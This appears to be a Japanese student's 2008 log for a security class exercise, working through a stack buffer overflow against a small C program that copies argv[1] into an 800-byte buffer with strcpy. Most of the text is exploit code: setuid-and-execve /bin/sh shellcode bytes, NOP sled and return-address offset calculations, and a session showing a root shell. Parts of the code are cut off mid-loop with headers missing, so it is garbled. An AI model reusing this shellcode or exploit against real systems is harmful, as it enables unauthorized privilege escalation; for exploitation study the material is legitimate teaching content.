defolos 2008-06-28 課題8.1 ーーーーー #include #include int main (int argc, char *argv[]){ char buffer[800]; strcpy(buffer, argv[1]); return 0; } ーーーーー コンパイルしたものを/home/SAS_Workspace/ex8_bof.exeとして置いてる 今回はバッファ領域を800バイト確保している(これは始め言わない) 基本的なロジックは前回と全く一緒 前回紹介した挿入ベクター生成プログラムではシェルが起動しないことを確認 各自で作ってもらったシェルコードを利用する とりあえず,900バイトの挿入ベクターでBOFが発生することを確認 NOPスレッドを400バイトとれば権限を奪える defolos@glazheim:~/ex8$ ./a.out -------exploit--------------- sh-2.05b# exit exit 戻りアドレスはex8_bof.exeのbuffer変数から812バイトの位置にある ゆえに,817バイトの挿入ベクターを押し込めばOK NOPスレッドは298バイトとれば,制御がシェルコードに移る ーーーーー #include #define BUFFSIZE 817 #define NOPSIZE 298 char shellcode[]= "\x31\xdb\x31\xc9\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; unsigned long sp (void){ __asm__("movl %esp, %eax"); } int main (int argc, char *argv[]){ int i, offset; long esp, ret, *addr_ptr; char *buffer, *ptr; offset = 0; esp = sp(); ret = esp - offset; printf("-------exploit---------------\n"); buffer = malloc(BUFFSIZE); ptr = buffer; addr_ptr = (long *)ptr; for (i=0; i char shellcode[]= "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" "\x68"; unsigned long sp (void){ __asm__("movl %esp, %eax"); } int main (int argc, char *argv[]){ int i, offset; long esp, ret, *addr_ptr; char *buffer, *ptr; offset = 0; esp = sp(); ret = esp - offset; printf("%x\n",ret); buffer = malloc(900); ptr = buffer; addr_ptr = (long *)ptr; for (i=0; i<900; i += 4){ *(addr_ptr++) = ret; } for (i=0; i<400; i++){ buffer[i]='\x90'; } ptr = buffer + 400; for (i=0; i